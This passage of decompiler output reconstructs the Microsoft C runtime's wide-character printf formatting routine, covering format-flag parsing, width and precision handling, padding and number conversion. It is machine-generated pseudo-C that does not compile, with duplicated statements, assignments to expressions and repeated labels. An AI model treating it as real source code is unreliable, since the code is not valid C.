								if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
									 *(__ebp - 0x1c) = 0;
								}
								__eax = __ebp - 0x249;
								 *(__ebp - 4) = __ebp - 0x249;
								while(1) {
									L178:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L180;
									}
									L179:
									 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
										L183:
										__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
										 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
										__ecx =  *(__ebp - 4);
										__ecx =  *(__ebp - 4) + 1;
										 *(__ebp - 4) = __ecx;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
										__eflags =  *(__ebp - 0x10) & 0x00000200;
										if(( *(__ebp - 0x10) & 0x00000200) == 0) {
											while(1) {
												L187:
												__eflags =  *(__ebp - 0x28);
												if( *(__ebp - 0x28) != 0) {
													goto L212;
												}
												L188:
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
												__eflags =  *(__ebp - 0x10) & 0x00000040;
												if(( *(__ebp - 0x10) & 0x00000040) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
													__eflags =  *(__ebp - 0x10) & 0x00000100;
													if(( *(__ebp - 0x10) & 0x00000100) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
														__eflags =  *(__ebp - 0x10) & 0x00000001;
														if(( *(__ebp - 0x10) & 0x00000001) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
															__eflags =  *(__ebp - 0x10) & 0x00000002;
															if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																__edx = 0x20;
																 *(__ebp - 0x14) = __dx;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															__eax = 0x2b;
															 *(__ebp - 0x14) = __ax;
															 *(__ebp - 0x1c) = 1;
														}
													} else {
														__ecx = 0x2d;
														 *(__ebp - 0x14) = __cx;
														 *(__ebp - 0x1c) = 1;
													}
												}
												 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x4ac) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
												__eflags =  *(__ebp - 0x10) & 0x0000000c;
												if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
													__edx = __ebp - 0x44c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x4ac);
													__eax = E00B971B0(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
												}
												__edx = __ebp - 0x44c;
												__eax =  *(__ebp + 8);
												__ecx =  *(__ebp - 0x1c);
												__edx = __ebp - 0x14;
												E00B971F0( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x44c) =  *(__ebp - 0x10);
												__eax =  *(__ebp - 0x10) & 0x00000008;
												__eflags =  *(__ebp - 0x10) & 0x00000008;
												if(( *(__ebp - 0x10) & 0x00000008) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
													__eflags =  *(__ebp - 0x10) & 0x00000004;
													if(( *(__ebp - 0x10) & 0x00000004) == 0) {
														__edx = __ebp - 0x44c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x4ac);
														__eax = E00B971B0(0x30,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
													}
												}
												__eflags =  *(__ebp - 0xc);
												if( *(__ebp - 0xc) != 0) {
													L208:
													__edx = __ebp - 0x44c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x24);
													__edx =  *(__ebp - 4);
													__eax = E00B971F0(__ecx,  *(__ebp - 4), __ecx,  *(__ebp + 8), __ebp - 0x44c);
													goto L209;
												} else {
													L201:
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) <= 0) {
														goto L208;
													}
													L202:
													__edx =  *(__ebp - 4);
													 *(__ebp - 0x4b0) =  *(__ebp - 4);
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x4b4) =  *(__ebp - 0x24);
													while(1) {
														L203:
														__ecx =  *(__ebp - 0x4b4);
														 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
														 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
														__eflags = __ecx;
														if(__ecx <= 0) {
															break;
														}
														L204:
														__ecx = __ebp - 0x40;
														__eax = E00B7C680(__ebp - 0x40);
														__ecx = __ebp - 0x40;
														E00B7C680(__ebp - 0x40) =  *__eax;
														__ecx =  *(__ebp - 0x458 + 0xac);
														__edx =  *(__ebp - 0x4b0);
														__eax = __ebp - 0x458;
														 *(__ebp - 0x4b8) = E00B90E50(__ebp - 0x458,  *(__ebp - 0x4b0),  *(__ebp - 0x458 + 0xac), __ebp - 0x458);
														__eflags =  *(__ebp - 0x4b8);
														if( *(__ebp - 0x4b8) > 0) {
															L206:
															__ecx = __ebp - 0x44c;
															__edx =  *(__ebp + 8);
															 *(__ebp - 0x458) & 0x0000ffff = E00B97150( *(__ebp - 0x458) & 0x0000ffff,  *(__ebp + 8), __ebp - 0x44c);
															 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
															 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
															continue;
														}
														L205:
														 *(__ebp - 0x44c) = 0xffffffff;
														break;
													}
													L207:
													L209:
													__eflags =  *(__ebp - 0x44c);
													if( *(__ebp - 0x44c) >= 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) != 0) {
															__ecx = __ebp - 0x44c;
															__edx =  *(__ebp + 8);
															 *(__ebp - 0x4ac) = E00B971B0(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
														}
													}
												}
												L212:
												__eflags =  *(__ebp - 0x20);
												if( *(__ebp - 0x20) != 0) {
													__ecx =  *(__ebp - 0x20);
													__eax = L00B7EB20( *(__ebp - 0x20), 2);
													 *(__ebp - 0x20) = 0;
												}
												while(1) {
													L214:
													 *(_t525 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t525 + 0xc))));
													_t502 =  *(_t525 - 0x454) & 0x0000ffff;
													 *((intOrPtr*)(_t525 + 0xc)) =  *((intOrPtr*)(_t525 + 0xc)) + 2;
													if(( *(_t525 - 0x454) & 0x0000ffff) == 0 ||  *(_t525 - 0x44c) < 0) {
														break;
													} else {
														if(( *(_t525 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t525 - 0x454) & 0x0000ffff) > 0x78) {
															 *(_t525 - 0x4d8) = 0;
														} else {
															 *(_t525 - 0x4d8) =  *(( *(_t525 - 0x454) & 0x0000ffff) +  &M00B77B58) & 0xf;
														}
													}
													L7:
													 *(_t525 - 0x450) =  *(_t525 - 0x4d8);
													_t519 =  *(_t525 - 0x450) * 9;
													_t490 =  *(_t525 - 0x45c);
													_t510 = ( *(_t519 + _t490 + 0xb77b78) & 0x000000ff) >> 4;
													 *(_t525 - 0x45c) = ( *(_t519 + _t490 + 0xb77b78) & 0x000000ff) >> 4;
													if( *(_t525 - 0x45c) != 8) {
														L16:
														 *(_t525 - 0x4e0) =  *(_t525 - 0x45c);
														__eflags =  *(_t525 - 0x4e0) - 7;
														if( *(_t525 - 0x4e0) > 7) {
															continue;
														}
														L17:
														switch( *((intOrPtr*)( *(_t525 - 0x4e0) * 4 +  &M00B97044))) {
															case 0:
																L18:
																 *(_t525 - 0xc) = 1;
																E00B97150( *(_t525 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t525 + 8)), _t525 - 0x44c);
																_t527 = _t527 + 0xc;
																goto L214;
															case 1:
																L19:
																 *(__ebp - 0x2c) = 0;
																__ecx =  *(__ebp - 0x2c);
																 *(__ebp - 0x28) = __ecx;
																__edx =  *(__ebp - 0x28);
																 *(__ebp - 0x18) =  *(__ebp - 0x28);
																__eax =  *(__ebp - 0x18);
																 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																 *(__ebp - 0x10) = 0;
																 *(__ebp - 0x30) = 0xffffffff;
																 *(__ebp - 0xc) = 0;
																goto L214;
															case 2:
																L20:
																__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																 *(__ebp - 0x4e4) = __ecx;
																 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																__eflags =  *(__ebp - 0x4e4) - 0x10;
																if( *(__ebp - 0x4e4) > 0x10) {
																	goto L27;
																}
																L21:
																_t57 =  *(__ebp - 0x4e4) + 0xb9707c; // 0x498d04
																__ecx =  *_t57 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M00B97064))) {
																	case 0:
																		goto L24;
																	case 1:
																		goto L25;
																	case 2:
																		goto L23;
																	case 3:
																		goto L22;
																	case 4:
																		goto L26;
																	case 5:
																		goto L27;
																}
															case 3:
																L28:
																__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																	__edx =  *(__ebp - 0x18);
																	__edx =  *(__ebp - 0x18) * 0xa;
																	__eflags = __edx;
																	_t81 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																	__ecx = __edx + _t81;
																	 *(__ebp - 0x18) = __ecx;
																} else {
																	__edx = __ebp + 0x14;
																	 *(__ebp - 0x18) = E00B93D50(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x18);
																	if( *(__ebp - 0x18) < 0) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000004;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																		__ecx =  *(__ebp - 0x18);
																		__ecx =  ~( *(__ebp - 0x18));
																		 *(__ebp - 0x18) = __ecx;
																	}
																}
																L33:
																goto L214;
															case 4:
																L34:
																 *(__ebp - 0x30) = 0;
																goto L214;
															case 5:
																L35:
																__edx =  *(__ebp - 0x454) & 0x0000ffff;
																__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																	__ecx =  *(__ebp - 0x30);
																	__ecx =  *(__ebp - 0x30) * 0xa;
																	__eflags = __ecx;
																	_t92 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																	__eax = __ecx + _t92;
																	 *(__ebp - 0x30) = __ecx + _t92;
																} else {
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x30) = E00B93D50(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) < 0) {
																		 *(__ebp - 0x30) = 0xffffffff;
																	}
																}
																goto L214;
															case 6:
																L41:
																__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																 *(__ebp - 0x4e8) = __ecx;
																 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																__eflags =  *(__ebp - 0x4e8) - 0x2e;
																if( *(__ebp - 0x4e8) > 0x2e) {
																	L64:
																	goto L214;
																}
																L42:
																_t100 =  *(__ebp - 0x4e8) + 0xb970a4; // 0x68b19003
																__ecx =  *_t100 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M00B97090))) {
																	case 0:
																		L47:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
																		if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																			L50:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																				L53:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx & 0x0000ffff;
																				__eflags = ( *__ecx & 0x0000ffff) - 0x64;
																				if(( *__ecx & 0x0000ffff) == 0x64) {
																					L59:
																					L61:
																					goto L64;
																				}
																				L54:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = __ecx - 0x69;
																				if(__ecx == 0x69) {
																					goto L59;
																				}
																				L55:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
																				if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																					goto L59;
																				}
																				L56:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx & 0x0000ffff;
																				__eflags = ( *__ecx & 0x0000ffff) - 0x75;
																				if(( *__ecx & 0x0000ffff) == 0x75) {
																					goto L59;
																				}
																				L57:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = __ecx - 0x78;
																				if(__ecx == 0x78) {
																					goto L59;
																				}
																				L58:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
																				if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																					 *(__ebp - 0x45c) = 0;
																					goto L18;
																				}
																				goto L59;
																			}
																			L51:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																			__eflags = __ecx - 0x32;
																			if(__ecx != 0x32) {
																				goto L53;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																				goto L61;
																			}
																		}
																		L48:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																		__eflags = __ecx - 0x34;
																		if(__ecx != 0x34) {
																			goto L50;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																			goto L61;
																		}
																	case 1:
																		L62:
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000020;
																		 *(__ebp - 0x10) = __ecx;
																		goto L64;
																	case 2:
																		L43:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
																		if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000010;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																		} else {
																			__ecx =  *(__ebp + 0xc);
																			__ecx =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) = __ecx;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		}
																		goto L64;
																	case 3:
																		L63:
																		__edx =  *(__ebp - 0x10);
																		__edx =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __edx;
																		 *(__ebp - 0x10) = __edx;
																		goto L64;
																	case 4:
																		goto L64;
																}
															case 7:
																L65:
																__eax =  *(__ebp - 0x454) & 0x0000ffff;
																 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																__ecx =  *(__ebp - 0x4ec);
																__ecx =  *(__ebp - 0x4ec) - 0x41;
																 *(__ebp - 0x4ec) = __ecx;
																__eflags =  *(__ebp - 0x4ec) - 0x37;
																if( *(__ebp - 0x4ec) > 0x37) {
																	while(1) {
																		L187:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L212;
																		}
																		goto L188;
																	}
																}
																L66:
																_t141 =  *(__ebp - 0x4ec) + 0xb97110; // 0xcccccc0d
																__eax =  *_t141 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t141 & 0x000000ff) * 4 +  &M00B970D4))) {
																	case 0:
																		L120:
																		 *(__ebp - 0x2c) = 1;
																		 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																		__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																		 *(__ebp - 0x454) = __ax;
																		goto L121;
																	case 1:
																		L67:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000020;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		goto L69;
																	case 2:
																		L82:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000020;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		}
																		goto L84;
																	case 3:
																		L144:
																		 *(__ebp - 0x460) = 7;
																		L145:
																		 *(__ebp - 8) = 0x10;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx = 0x30;
																			 *(__ebp - 0x14) = __dx;
																			 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
																			__eflags =  *(__ebp - 0x460) + 0x51;
																			 *(__ebp - 0x12) = __ax;
																			 *(__ebp - 0x1c) = 2;
																		}
																		goto L150;
																	case 4:
																		L75:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x474) = E00B93D50(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x474);
																		if( *(__ebp - 0x474) == 0) {
																			L77:
																			__edx =  *0xd121a0; // 0xb775a0
																			 *(__ebp - 4) = __edx;
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E00B805E0( *(__ebp - 4));
																			L81:
																			goto L187;
																		}
																		L76:
																		__ecx =  *(__ebp - 0x474);
																		__eflags =  *(__ecx + 4);
																		if( *(__ecx + 4) != 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																			__eflags =  *(__ebp - 0x10) & 0x00000800;
																			if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																				 *(__ebp - 0xc) = 0;
																				__edx =  *(__ebp - 0x474);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x474);
																				__edx =  *__ecx;
																				 *(__ebp - 0x24) =  *__ecx;
																			} else {
																				__edx =  *(__ebp - 0x474);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x474);
																				__eax =  *__ecx;
																				asm("cdq");
																				 *__ecx - __edx =  *__ecx - __edx >> 1;
																				 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																				 *(__ebp - 0xc) = 1;
																			}
																			goto L81;
																		}
																		goto L77;
																	case 5:
																		L121:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		__edx = __ebp - 0x448;
																		 *(__ebp - 4) = __ebp - 0x448;
																		 *(__ebp - 0x44) = 0x200;
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) >= 0) {
																			L123:
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) != 0) {
																				L126:
																				__eflags =  *(__ebp - 0x30) - 0x200;
																				if( *(__ebp - 0x30) > 0x200) {
																					 *(__ebp - 0x30) = 0x200;
																				}
																				L128:
																				__eflags =  *(__ebp - 0x30) - 0xa3;
																				if( *(__ebp - 0x30) > 0xa3) {
																					__ecx =  *(__ebp - 0x30);
																					__ecx =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x20) = L00B7DEA0( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																					__eflags =  *(__ebp - 0x20);
																					if( *(__ebp - 0x20) == 0) {
																						 *(__ebp - 0x30) = 0xa3;
																					} else {
																						__edx =  *(__ebp - 0x20);
																						 *(__ebp - 4) =  *(__ebp - 0x20);
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																					}
																				}
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				__edx =  *(__ebp + 0x14);
																				__eax =  *(__edx - 8);
																				__ecx =  *(__edx - 4);
																				 *(__ebp - 0x490) =  *(__edx - 8);
																				 *(__ebp - 0x48c) =  *(__edx - 4);
																				__ecx = __ebp - 0x40;
																				_push(E00B7C680(__ebp - 0x40));
																				__edx =  *(__ebp - 0x2c);
																				_push( *(__ebp - 0x2c));
																				__eax =  *(__ebp - 0x30);
																				_push( *(__ebp - 0x30));
																				__ecx =  *(__ebp - 0x454);
																				_push( *(__ebp - 0x454));
																				__edx =  *(__ebp - 0x44);
																				_push( *(__ebp - 0x44));
																				__eax =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__ecx = __ebp - 0x490;
																				_push(__ebp - 0x490);
																				__edx =  *0xd12188; // 0xddc09d6c
																				E00B849C0(__edx) =  *__eax();
																				__esp = __esp + 0x1c;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																					__eflags =  *(__ebp - 0x30);
																					if( *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E00B7C680(__ebp - 0x40));
																						__ecx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__edx =  *0xd12194; // 0xddc09d6c
																						E00B849C0(__edx) =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																				if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E00B7C680(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0xd12190; // 0xddc09d6c
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__ecx =  *(__ebp - 4);
																				__edx =  *( *(__ebp - 4));
																				__eflags =  *( *(__ebp - 4)) - 0x2d;
																				if( *( *(__ebp - 4)) == 0x2d) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					__ecx =  *(__ebp - 4);
																					__ecx =  *(__ebp - 4) + 1;
																					__eflags = __ecx;
																					 *(__ebp - 4) = __ecx;
																				}
																				__edx =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E00B805E0( *(__ebp - 4));
																				do {
																					L187:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				} while ( *(__ebp - 0x4ec) > 0x37);
																				goto L66;
																			}
																			L124:
																			__eax =  *(__ebp - 0x454) & 0x0000ffff;
																			__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																			if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																				goto L126;
																			}
																			L125:
																			 *(__ebp - 0x30) = 1;
																			goto L128;
																		}
																		L122:
																		 *(__ebp - 0x30) = 6;
																		goto L128;
																	case 6:
																		L69:
																		 *(__ebp - 0xc) = 1;
																		__ebp + 0x14 = E00B93D50(__ebp + 0x14);
																		 *(__ebp - 0x458) = __ax;
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) & 0x00000020;
																		__eflags = __ecx;
																		if(__ecx == 0) {
																			__cx =  *(__ebp - 0x458);
																			 *(__ebp - 0x448) = __cx;
																		} else {
																			 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																			 *(__ebp - 0x470) = __dl;
																			 *((char*)(__ebp - 0x46f)) = 0;
																			__ecx = __ebp - 0x40;
																			__eax = E00B7C680(__ebp - 0x40);
																			__ecx = __ebp - 0x40;
																			E00B7C680(__ebp - 0x40) =  *__eax;
																			__ecx =  *(__ebp - 0x448 + 0xac);
																			__edx = __ebp - 0x470;
																			__eax = __ebp - 0x448;
																			__eax = E00B90E50(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
																			__eflags = __eax;
																			if(__eax < 0) {
																				 *(__ebp - 0x28) = 1;
																			}
																		}
																		__edx = __ebp - 0x448;
																		 *(__ebp - 4) = __ebp - 0x448;
																		 *(__ebp - 0x24) = 1;
																		while(1) {
																			L187:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	case 7:
																		L141:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 8) = 0xa;
																		L150:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E00B93D50(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00B93D50(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E00B93D50(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																						 *(__ebp - 0x49c) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00B93D50(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E00B93D70(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x4a0) = E00B93D70(__ebp + 0x14);
																			 *(__ebp - 0x49c) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L167;
																		}
																	case 8:
																		L106:
																		__eax = __ebp + 0x14;
